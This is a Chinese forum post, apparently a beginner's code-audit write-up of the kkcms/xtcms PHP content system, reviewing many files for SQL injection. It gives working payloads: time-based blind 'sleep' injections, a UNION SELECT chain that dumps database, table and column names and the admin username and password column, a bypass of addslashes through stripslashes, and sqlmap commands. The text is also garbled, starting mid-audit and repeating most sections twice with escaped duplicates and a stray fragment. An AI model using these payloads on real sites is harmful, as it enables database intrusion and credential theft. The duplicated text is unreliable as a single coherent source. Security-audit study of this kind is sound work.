发现id是无引号包裹的,这意味着这里是存在SQL注入的,我们去验证一下
  1. id=1
复制代码

  1. id=1 and sleep(5)
复制代码

发现两者回显时间不同,说明存在SQL注入,具体为时间盲注,这里就可以编写Python脚本来爆破数据库信息,也可以通过SQLmap,这里不再展示
admin/cms_login.php
  1. <?php
  2. require_once('../system/inc.php');
  3. if(isset($_POST['submit'])){
  4.     if ($_SESSION['verifycode'] != $_POST['verifycode']) {
  5.         alert_href('验证码错误','cms_login.php');
  6.     }
  7.     null_back($_POST['a_name'],'请输入用户名');
  8.     null_back($_POST['a_password'],'请输入密码');
  9.     null_back($_POST['verifycode'],'请输入验证码');
  10.     $a_name = $_POST['a_name'];
  11.     $a_password = $_POST['a_password'];
  12.     $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
  13.     $result = mysql_query($sql);
复制代码

这里的话就是发现这个可控参数都被双引号包裹了,然后文件开头包含了inc.php,意味着存在对SQL注入的防护,因此这里的话是无法实现SQL注入的,转战下一处。
admin/cms_user_edit.php
  1. //部分代码
  2. <?php
  3. include('../system/inc.php');
  4. include('cms_check.php');
  5. error_reporting(0);
  6. include('model/user_edit.php');
  7. ?>
  8. <?php
  9. $result = mysql_query('select * from xtcms_user where u_id = '.$_GET['id'].'');
  10. if($row = mysql_fetch_array($result)){
  11. ?>
复制代码

一眼顶真,无包裹方式,存在SQL注入
  1. id = 16 and sleep(5)
复制代码

具体不再演示,此类的我将其列在一起,具体如下所示
  1. admin/cms_nav_edit.php
  2. 其SQL语句如下
  3. $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');

  4. admin/cms_detail_edit.php
  5. 其SQL语句如下
  6. $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');

  7. admin/cms_channel_edit.php
  8. 其SQL语句如下
  9. $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);

  10. admin/cms_check_edit.php
  11. 其SQL语句如下
  12. $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');

  13. admin/cms_player_edit.php
  14. 其SQL语句如下
  15. $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');

  16. admin/cms_slideshow_edit.php
  17. 其SQL语句如下
  18. $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');

  19. admin/cms_ad_edit.php
  20. 其SQL语句如下
  21. $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');

  22. admin/cms_link_edit.php
  23. 其SQL语句如下
  24. $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');

  25. admin/cms_usercard_edit.php
  26. 其SQL语句如下
  27. $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');

  28. admin/cms_youlian_edit.php
  29. 其SQL语句如下
  30. $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');
复制代码

admin/cms_user.php
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);
  5. include('model/user.php');
  6. ?>
  7. if (isset($_GET['key'])) {
  8. $sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
  9. $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  10. $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  11. }
复制代码

这里的话参数是在like处,这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入,通过SQLmap扫描也无果,各位大师傅如果有思路的话还请指点一二
admin/cms_detail.php
  1. if (isset($_GET['cid'])) {
  2. if ($_GET['cid'] != 0){
  3.   $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
  4.   $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  5.   $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  6. }else{
  7.   $sql = 'select * from xtcms_vod order by d_id desc';
  8.   $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  9.   $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  10.   }
  11. }
复制代码

这里的话关注这里
  1. $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
复制代码

这个cid参数是被括号包裹的,这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入
  1. cid=1) and sleep(1) --+
  2. //此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)
复制代码


根据回显时间可以看出此处是存在SQL注入的
admin/cms_kamilist.php
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);

  5. ?>
  6. if (isset($_GET['c_used'])) {
  7. $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
  8. $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  9. $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  10. }
复制代码

这里的话可以看出参数被双引号包裹了,开头包含了SQL防护文件,涉及了addslashes()函数,所以这里自认为是不存在SQL注入的,找下一处。
ucenter/index.php
  1. //部分
  2. <?php include('../system/inc.php');
  3. if(!isset($_SESSION['user_name'])){
  4.   alert_href('请登陆后进入','login.php');
  5. };
  6. ?>
  7. <?php include('left.php');?>
  8. <?php
  9. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
  10. if($row = mysql_fetch_array($result)){
  11. ?>
复制代码

这里的话可以看见参数是SESSION传参,不同于之前的GET和POST,而且这里还有双引号包裹,因此这里不存在SQL注入,下一处
类似这种的还有
  1. ucenter/kami.php
  2. 其SQL语句如下
  3. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

  4. ucenter/chongzhi.php
  5. 其SQL语句如下
  6. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

  7. ucenter/mingxi.php
  8. 其SQL语句如下
  9. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
复制代码

ucenter/cms_user_add.php
源码为
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');

  4. if ( isset($_POST['save']) ) {
  5. null_back($_POST['u_name'],'请填写登录帐号');
  6. null_back($_POST['u_password'],'请填写登录密码');
  7. $result = mysql_query('select * from xtcms_user where u_name = "'.$_POST['u_name'].'"');
  8. if(mysql_fetch_array($result)){
  9.   alert_back('帐号重复,请输入新的帐号。');
  10. }
复制代码

双引号包裹,且包含了过滤函数,因此SQL注入不存在,误报,类似这种的还有
  1. ucenter/return_url.php
  2. 其SQL语句如下
  3. $order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');

  4. ucenter/password.php
  5. 其SQL语句如下
  6. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

  7. ucenter/reg.php
  8. 其SQL语句如下
  9. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');

  10. ucenter/login.php
  11. 其SQL语句如下
  12. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

  13. ucenter/mingxi.php
  14. 其SQL语句如下
  15. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
复制代码

ucenter/repass.php
源码为
  1. <?php
  2. include('../system/inc.php');
  3. if(isset($_SESSION['user_name'])){
  4. header('location:index.php');
  5. };

  6. if(isset($_POST['submit'])){
  7. $username = stripslashes(trim($_POST['name']));
  8. $email = trim($_POST['email']);
  9. // 检测用户名是否存在
  10. $query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
  11. if(!! $row = mysql_fetch_array($query)){
  12. $_data['u_password'] = md5(123456);
  13. $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
  14. if (mysql_query($sql)) {
复制代码

这里的话我们看到参数name
  1. $username = stripslashes(trim($_POST['name']));
复制代码

这里引用了stripslashes函数,而文件开头又包含inc.php,这个文件里包含了addslashes函数,当我们参数出现单引号这种特殊字符时,addslashes会加上反引号,而stripslashes会清除addslashes函数加上的反引号,这个时候就相当于没有防护一样,所以显而易见这里是存在SQL注入的,我们可以使用bp抓包保存后,再利用sqlmap来得到数据库信息,具体payload
  1. python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs
复制代码

但很怪,我自己的没有跑出来数据

而我参考其他师傅的文章后发现他们的可以跑出来。
payload如下
  1. name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com&password=111&submit=
复制代码

类似这种的还有
  1. ucenter/active.php
  2. 其SQL语句如下
  3. $verify = stripslashes(trim($_GET['verify']));
  4. $nowtime = time();
  5. $query = mysql_query("select u_id from xtcms_user where u_question='$verify'");

  6. ucenter/reg.php
  7. 其内SQL语句如下
  8. if(isset($_POST['submit'])){
  9. $username = stripslashes(trim($_POST['name']));
  10. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
复制代码


总结
本次CMS审计花费了很多时间,一方面因为漏洞点有点多,另一方面也是初学代码审计,不太擅长,经过此次审计后对SQL注入和XSS漏洞有了进一步的了解,也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。

,$d_scontent[$i]);
  }
$playdizhi=get_play($row['d_player']).$d_scontent[0][1];
}else{
  return '';
};

include('template/'.$xtcms_bdyun.'/bplay.php');
?>[/code]
这里的话可以看出主要的SQL语句是这句话
  1. $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
复制代码

然后这个play参数是GET传参的,同时看这里的代码可以看出它是没有单引号或者双引号包裹的,此时我们跟进一下include的文件,也就是system/inc.php,查看一下这个文件file:///C:/Users/zz/AppData/Local/Temp/msohtmlclip1/01/clip_image051.png
跟进这个library.php
  1. &lt;?php
  2. //展示的只是一部分
  3. if (!defined('PCFINAL')) {
  4. exit('Request Error!');
  5. }
  6. if (!get_magic_quotes_gpc()) {
  7. if (!empty($_GET)) {
  8.   $_GET = addslashes_deep($_GET);
  9. }
  10. if (!empty($_POST)) {
  11.   $_POST = addslashes_deep($_POST);
  12. }
  13. $_COOKIE = addslashes_deep($_COOKIE);
  14. $_REQUEST = addslashes_deep($_REQUEST);
  15. }
复制代码

可以发现这里的话对传入的参数都进行了特殊字符转义,防止SQL注入
但事实上我们那个参数未被单引号或者双引号包裹,这也就意味着这里的防护其实是无意义的,因此我们这里的话我们也就可以尝试去进行SQL注入
首先我们试着去检测一下字段数,payload如下所示
  1. play=1 order by 17  //回显正常
  2. play=1 order by 18  //回显错误
复制代码



这里的话也就可以发现字段数为17了,接下来就可以进去联合查询了,首先我们需要去找一下回显位
  1. play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
复制代码

可以发现回显位是2和9,我们这个时候就可以去读取数据库、数据表这些了,payload如下
  1. //查库
  2. play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
  3. //查表
  4. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
  5. //查列
  6. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
  7. //查字段
  8. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17
复制代码




wap/user.php(失败)
结合Seay
  1. &lt;?php include('../system/inc.php');
  2. error_reporting(0);
  3. $op=$_GET['op'];
  4. if(!isset($_SESSION['user_name'])){
  5.   alert_href('请登陆后进入','login.php?op=login');
  6. };
  7. //退出
  8. if ($op == 'out'){
  9. unset($_SESSION['user_name']);
  10. unset($_SESSION['user_group']);
  11. if (! empty ( $_COOKIE ['user_name'] ) || ! empty ( $_COOKIE ['user_password'] ))   
  12.     {  
  13.         setcookie ( "user_name", null, time () - 3600 * 24 * 365 );  
  14.         setcookie ( "user_password", null, time () - 3600 * 24 * 365 );  
  15.     }  
  16. header('location:login.php?op=login');
  17. }
  18. //支付
  19. if ( isset($_POST['paysave']) ) {
  20. if ($_POST['pay']==1){

  21. //判定会员组别
  22. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
  23. if($row = mysql_fetch_array($result)){

  24. $u_points=$row['u_points'];
  25. $u_group=$row['u_group'];
  26. $send = $row['u_end'];

  27. //获取会员卡信息
  28. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
  29. if($row2 = mysql_fetch_array($card)){
  30. $day=$row2['day'];//天数
  31. $userid=$row2['userid'];//会员组
  32. $jifen=$row2['jifen'];//积分
  33. }
  34. //判定会员组
  35. if ($row['u_group']&gt;$userid){
  36. alert_href('您现在所属会员组的权限制大于等于目标会员组权限值,不需要升级!','mingxi.php');
  37. }
复制代码

看这一处代码
  1. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
复制代码

不难发现这里的Select语句中的参数被双引号包裹了,而开头包含了inc.php文件,之前就已经查看过,这个文件包含了四个文件,其中一个文件中有addslashes_deep函数,对传入的参数中的特殊字符(如',",\)进行了转义,因此我们这里的话无法通过闭合双引号达到SQL注入的目的,同文件的其他SQL注入处也是如此,这里不再展示
wap/login.php
扫出login.php中存在多个可控变量,我们使用Seay来看一下具体代码
  1. //展示的仅为一部分
  2. &lt;?php include('../system/inc.php');
  3. $op=$_GET['op'];

  4. if(isset($_POST['submit'])){
  5. null_back($_POST['u_name'],'请输入用户名');
  6. null_back($_POST['u_password'],'请输入密码');
  7. $u_name = $_POST['u_name'];
  8. $u_password = $_POST['u_password'];
  9. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
  10. $result = mysql_query($sql);
  11. if(!! $row = mysql_fetch_array($result)){
  12.   
  13. $_data['u_loginnum'] = $row['u_loginnum']+1;
  14. $_data['u_loginip'] =$_SERVER["REMOTE_ADDR"];
  15. $_data['u_logintime'] =date('y-m-d h:i:s',time());
  16. if(!empty($row['u_end'])) $u_end= $row['u_end'];
  17. if(time()&gt;$u_end){
  18. $_data['u_flag'] =="0";
  19. $_data['u_start'] =="";
  20. $_data['u_end'] =="";
  21. $_data['u_group'] =1;
  22. }else{
  23. $_data['u_flag'] ==$row["u_flag"];
  24. $_data['u_start'] ==$row["u_start"];
  25. $_data['u_end'] ==$row["u_end"];
  26. $_data['u_group'] =$row["u_group"];
  27. }
  28. mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
  29. $_SESSION['user_name']=$row['u_name'];
  30. $_SESSION['user_group']=$row['u_group'];
  31. if($_POST['brand1']){
  32. setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365);
  33. setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365);
  34. }
  35.   header('location:user.php');
  36. }else{
  37.   alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
  38. }
  39. }
  40. if(isset($_POST['reg'])){
  41. $username = stripslashes(trim($_POST['name']));
  42. // 检测用户名是否存在
  43. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
  44. if(mysql_fetch_array($query)){
  45. echo '&lt;script&gt;alert("用户名已存在,请换个其他的用户名");window.history.go(-1);&lt;/script&gt;';
  46. exit;
  47. }
  48. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
  49. if(mysql_fetch_array($result)){
  50. echo '&lt;script&gt;alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);&lt;/script&gt;';
  51. exit;
  52. }
  53. $password = md5(trim($_POST['password']));
  54. $email = trim($_POST['email']);
  55. $regtime = time();
  56. $token = md5($username.$password.$regtime); //创建用于激活识别码
  57. $token_exptime = time()+60*60*24;//过期时间为24小时后
  58. $data['u_name'] = $username;
  59. $data['u_password'] =$password;
  60. $data['u_email'] = $email;
  61. $data['u_regtime'] =$regtime;
  62. if($xtcms_mail==1){
  63. $data['u_status'] =0;
  64. }else{
  65. $data['u_status'] =1;
  66. }
  67. $data['u_group'] =1;
  68. $data['u_fav'] =0;
  69. $data['u_plays'] =0;
  70. $data['u_downs'] =0;
  71. //推广注册
  72. if (isset($_GET['tg'])) {
  73. $data['u_qid'] =$_GET['tg'];
  74. $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
  75. if($row = mysql_fetch_array($result)){

  76. $u_points=$row['u_points'];
  77. }
复制代码

不难发现这里的SELECT语句有以下几个
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
  2. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
  3. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
  4. $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
复制代码


但文件开头就声明包含了inc.php文件,说明这里的话包含了过滤函数,也就是对SQL注入是有防护的,对'、"以及\都进行了转义,因此这里如果参数是被单引号或者双引号包裹的话,那么这里极有可能算是G了,我们看第一个,也就是
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
复制代码

它这个不难发现,$u_name和$u_password都被双引号包裹了,因此这里就不存在SQL注入了。但是看一下第二个,第二个的username参数虽然是被双引号进行包裹了,但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));,这个stripslashes的功能是消除由addslashes函数增加的反斜杠,一个增加一个消除,那这里不就跟没有设置过滤一样吗,因此这个name参数是存在SQL注入的,我们通过BurpSuite进行抓包

然后将内容复制到一个txt文件中

我这里保存在sqlmap目录下

而后打开sqlmap,输入如下payload即可
  1. python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch
复制代码

可以看到存在延时注入,成功爆破出数据库
vlist.php
在这个界面,用单引号测试一下发现跟正常界面有所不同

看一下后端代码
  1. &lt;?php
  2. if ($_GET['cid'] != 0){
  3. ?&gt;
  4.       
  5.              &lt;?php
  6. $result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
  7. while ($row = mysql_fetch_array($result)){

  8.    echo '&lt;a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;"&gt;'.$row['c_name'].'&lt;/a&gt;';
  9.   }
  10. ?&gt;
复制代码

这里简单看一下的话,不难发现这里的参数cid是不存在任何防护的,即没有被单引号或者双引号包裹,因此这里开头引用的inc.php虽然对SQL注入进行了防护,但在这里其实是没有意义的,用SQLmap跑一下
  1. python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch
复制代码

后端文件
扫出多个后端文件存在SQL注入,接下来逐一进行检测
admin/cms_admin_edit.php
源码如下
  1. //部分代码
  2. &lt;?php
  3. include('../system/inc.php');
  4. include('cms_check.php');
  5. error_reporting(0);
  6. include('model/admin_edit.php');
  7. ?&gt;
  8. &lt;?php
  9. $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
  10. if($row = mysql_fetch_array($result)){
  11. ?&gt;
复制代码

这里的话重点关注肯定是SQL语句,也就是这句话
  1. $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
复制代码

发现id是无引号包裹的,这意味着这里是存在SQL注入的,我们去验证一下
  1. id=1
复制代码

  1. id=1 and sleep(5)
复制代码

发现两者回显时间不同,说明存在SQL注入,具体为时间盲注,这里就可以编写Python脚本来爆破数据库信息,也可以通过SQLmap,这里不再展示
admin/cms_login.php
  1. &lt;?php
  2. require_once('../system/inc.php');
  3. if(isset($_POST['submit'])){
  4.     if ($_SESSION['verifycode'] != $_POST['verifycode']) {
  5.         alert_href('验证码错误','cms_login.php');
  6.     }
  7.     null_back($_POST['a_name'],'请输入用户名');
  8.     null_back($_POST['a_password'],'请输入密码');
  9.     null_back($_POST['verifycode'],'请输入验证码');
  10.     $a_name = $_POST['a_name'];
  11.     $a_password = $_POST['a_password'];
  12.     $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
  13.     $result = mysql_query($sql);
复制代码

这里的话就是发现这个可控参数都被双引号包裹了,然后文件开头包含了inc.php,意味着存在对SQL注入的防护,因此这里的话是无法实现SQL注入的,转战下一处。
admin/cms_user_edit.php
  1. //部分代码
  2. &lt;?php
  3. include('../system/inc.php');
  4. include('cms_check.php');
  5. error_reporting(0);
  6. include('model/user_edit.php');
  7. ?&gt;
  8. &lt;?php
  9. $result = mysql_query('select * from xtcms_user where u_id = '.$_GET['id'].'');
  10. if($row = mysql_fetch_array($result)){
  11. ?&gt;
复制代码

一眼顶真,无包裹方式,存在SQL注入
  1. id = 16 and sleep(5)
复制代码

具体不再演示,此类的我将其列在一起,具体如下所示
  1. &nbsp;admin/cms_nav_edit.php
  2. 其SQL语句如下
  3. $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');

  4. admin/cms_detail_edit.php
  5. 其SQL语句如下
  6. $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');

  7. admin/cms_channel_edit.php
  8. 其SQL语句如下
  9. $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);

  10. admin/cms_check_edit.php
  11. 其SQL语句如下
  12. $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');

  13. admin/cms_player_edit.php
  14. 其SQL语句如下
  15. $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');

  16. admin/cms_slideshow_edit.php
  17. 其SQL语句如下
  18. $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');

  19. admin/cms_ad_edit.php
  20. 其SQL语句如下
  21. $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');

  22. admin/cms_link_edit.php
  23. 其SQL语句如下
  24. $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');

  25. admin/cms_usercard_edit.php
  26. 其SQL语句如下
  27. $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');

  28. admin/cms_youlian_edit.php
  29. 其SQL语句如下
  30. $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');
复制代码

admin/cms_user.php
  1. &lt;?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);
  5. include('model/user.php');
  6. ?&gt;
  7. if (isset($_GET['key'])) {
  8. $sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
  9. $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  10. $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  11. }
复制代码

这里的话参数是在like处,这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入,通过SQLmap扫描也无果,各位大师傅如果有思路的话还请指点一二
admin/cms_detail.php
  1. if (isset($_GET['cid'])) {
  2. if ($_GET['cid'] != 0){
  3.   $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
  4.   $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  5.   $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  6. }else{
  7.   $sql = 'select * from xtcms_vod order by d_id desc';
  8.   $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  9.   $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  10.   }
  11. }
复制代码

这里的话关注这里
  1. $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
复制代码

这个cid参数是被括号包裹的,这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入
  1. cid=1) and sleep(1) --+
  2. //此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)
复制代码


根据回显时间可以看出此处是存在SQL注入的
admin/cms_kamilist.php
  1. &lt;?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);

  5. ?&gt;
  6. if (isset($_GET['c_used'])) {
  7. $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
  8. $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  9. $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  10. }
复制代码

这里的话可以看出参数被双引号包裹了,开头包含了SQL防护文件,涉及了addslashes()函数,所以这里自认为是不存在SQL注入的,找下一处。
ucenter/index.php
  1. //部分
  2. &lt;?php include('../system/inc.php');
  3. if(!isset($_SESSION['user_name'])){
  4.   alert_href('请登陆后进入','login.php');
  5. };
  6. ?&gt;
  7. &lt;?php include('left.php');?&gt;
  8. &lt;?php
  9. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
  10. if($row = mysql_fetch_array($result)){
  11. ?&gt;
复制代码

这里的话可以看见参数是SESSION传参,不同于之前的GET和POST,而且这里还有双引号包裹,因此这里不存在SQL注入,下一处
类似这种的还有
  1. ucenter/kami.php
  2. 其SQL语句如下
  3. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

  4. ucenter/chongzhi.php
  5. 其SQL语句如下
  6. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

  7. ucenter/mingxi.php
  8. 其SQL语句如下
  9. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
复制代码

ucenter/cms_user_add.php
源码为
  1. &lt;?php
  2. include('../system/inc.php');
  3. include('cms_check.php');

  4. if ( isset($_POST['save']) ) {
  5. null_back($_POST['u_name'],'请填写登录帐号');
  6. null_back($_POST['u_password'],'请填写登录密码');
  7. $result = mysql_query('select * from xtcms_user where u_name = "'.$_POST['u_name'].'"');
  8. if(mysql_fetch_array($result)){
  9.   alert_back('帐号重复,请输入新的帐号。');
  10. }
复制代码

双引号包裹,且包含了过滤函数,因此SQL注入不存在,误报,类似这种的还有
  1. ucenter/return_url.php
  2. 其SQL语句如下
  3. $order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');

  4. ucenter/password.php
  5. 其SQL语句如下
  6. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

  7. ucenter/reg.php
  8. 其SQL语句如下
  9. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');

  10. ucenter/login.php
  11. 其SQL语句如下
  12. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

  13. ucenter/mingxi.php
  14. 其SQL语句如下
  15. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
复制代码

ucenter/repass.php
源码为
  1. &lt;?php
  2. include('../system/inc.php');
  3. if(isset($_SESSION['user_name'])){
  4. header('location:index.php');
  5. };

  6. if(isset($_POST['submit'])){
  7. $username = stripslashes(trim($_POST['name']));
  8. $email = trim($_POST['email']);
  9. // 检测用户名是否存在
  10. $query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
  11. if(!! $row = mysql_fetch_array($query)){
  12. $_data['u_password'] = md5(123456);
  13. $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
  14. if (mysql_query($sql)) {
复制代码

这里的话我们看到参数name
  1. $username = stripslashes(trim($_POST['name']));
复制代码

这里引用了stripslashes函数,而文件开头又包含inc.php,这个文件里包含了addslashes函数,当我们参数出现单引号这种特殊字符时,addslashes会加上反引号,而stripslashes会清除addslashes函数加上的反引号,这个时候就相当于没有防护一样,所以显而易见这里是存在SQL注入的,我们可以使用bp抓包保存后,再利用sqlmap来得到数据库信息,具体payload
  1. python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs
复制代码

但很怪,我自己的没有跑出来数据

而我参考其他师傅的文章后发现他们的可以跑出来。
payload如下
  1. name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&amp;email=1@qq.com&amp;password=111&amp;submit=
复制代码

类似这种的还有
  1. ucenter/active.php
  2. 其SQL语句如下
  3. $verify = stripslashes(trim($_GET['verify']));
  4. $nowtime = time();
  5. $query = mysql_query("select u_id from xtcms_user where u_question='$verify'");

  6. ucenter/reg.php
  7. 其内SQL语句如下
  8. if(isset($_POST['submit'])){
  9. $username = stripslashes(trim($_POST['name']));
  10. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
复制代码


总结
本次CMS审计花费了很多时间,一方面因为漏洞点有点多,另一方面也是初学代码审计,不太擅长,经过此次审计后对SQL注入和XSS漏洞有了进一步的了解,也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 14:49 , Processed in 0.020216 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表